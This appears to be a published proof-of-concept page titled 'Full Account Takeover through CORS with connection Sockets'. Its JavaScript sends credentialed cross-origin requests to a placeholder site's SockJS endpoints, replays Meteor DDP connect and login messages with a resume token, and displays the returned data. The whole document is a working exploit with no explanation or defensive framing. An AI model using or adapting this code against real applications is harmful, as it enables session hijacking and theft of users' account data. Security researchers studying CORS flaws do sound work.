Created
February 19, 2020 20:33
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Full Account Takeover through CORS with connection Sockets
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| <!DOCTYPE html> | |
| <html> | |
| <head><title>Exploiting CORS</title></head> | |
| <body> | |
| <center> | |
| <h1>Getting your information through CORS</h1> | |
| <button type="button" onclick="ProcessUrls()">Exploit</button> | |
| </div> | |
| <script type="text/javascript"> | |
| var cont = 0; | |
| var requests = new Array(); | |
| function ProcessUrls() | |
| { | |
| requests = new Array(); | |
| var urls = new Array('http://privatewebsite.com/sockjs/203/jb93ne78/xhr','http://privatewebsite.com/sockjs/203/jb93ne78/xhr_send','http://privatewebsite.com/sockjs/203/jb93ne78/xhr', 'http://privatewebsite.com/sockjs/203/jb93ne78/xhr_send','http://privatewebsite.com/sockjs/203/jb93ne78/xhr'); | |
| for(i=0;i<urls.length;i++) | |
| { | |
| requests.push(new ProcessUrl(urls[i])); | |
| } | |
| } | |
| function ProcessUrl(url) | |
| { | |
| cont+=1; | |
| if (cont == 2 ){ | |
| var http = new XMLHttpRequest(); | |
| http.open("POST", url, true); | |
| http.withCredentials = true; | |
| http.onreadystatechange = function() | |
| { | |
| if (http.readyState == 4 && http.status == 204) | |
| { | |
| http.responseText | |
| } | |
| }; | |
| http.setRequestHeader("Content-Type", "text/plain;charset=UTF-8"); | |
| http.send('["{\\"msg\\":\\"connect\\",\\"version\\":\\"1\\",\\"support\\":[\\"1\\",\\"pre2\\",\\"pre1\\"]}"]'); | |
| } | |
| else if (cont == 4 ){ | |
| var http = new XMLHttpRequest(); | |
| http.open("POST", url, true); | |
| http.withCredentials = true; | |
| http.onreadystatechange = function() | |
| { | |
| if (http.readyState == 4 && http.status == 204) | |
| { | |
| http.responseText | |
| } | |
| }; | |
| http.setRequestHeader("Content-Type", "text/plain;charset=UTF-8"); | |
| http.send('["{\\"msg\\":\\"method\\",\\"method\\":\\"login\\",\\"params\\":[{\\"resume\\":\\"abcabcabcabcabcabcabcabcabcabcabcabcabcabca\\"}],\\"id\\":\\"1\\"}","{\\"msg\\":\\"sub\\",\\"id\\":\\"hihihihihihihihi\\",\\"name\\":\\"meteor.loginServiceConfiguration\\",\\"params\\":[]}","{\\"msg\\":\\"sub\\",\\"id\\":\\"yzyzyzyzyzyzyzyzy\\",\\"name\\":\\"meteor_autoupdate_clientVersions\\",\\"params\\":[]}","{\\"msg\\":\\"sub\\",\\"id\\":\\"efefefefefefefefe\\",\\"name\\":\\"hooks\\",\\"params\\":[]}"]'); | |
| } | |
| else if (cont == 5) { | |
| var http = new XMLHttpRequest(); | |
| http.open("POST", url, true); | |
| http.withCredentials = true; | |
| http.onreadystatechange = function() | |
| { | |
| if (http.readyState == 4 && http.status == 200 || http.readyState == 4 && http.status == 204 ) | |
| { | |
| alert(http.responseText) | |
| } | |
| }; | |
| http.send(); | |
| } | |
| else { | |
| var http = new XMLHttpRequest(); | |
| http.open("POST", url, true); | |
| http.withCredentials = true; | |
| http.onreadystatechange = function() | |
| { | |
| if (http.readyState == 4 && http.status == 200 || http.readyState == 4 && http.status == 204 ) | |
| { | |
| http.responseText | |
| } | |
| }; | |
| http.send(); | |
| } | |
| } | |
| </script> |
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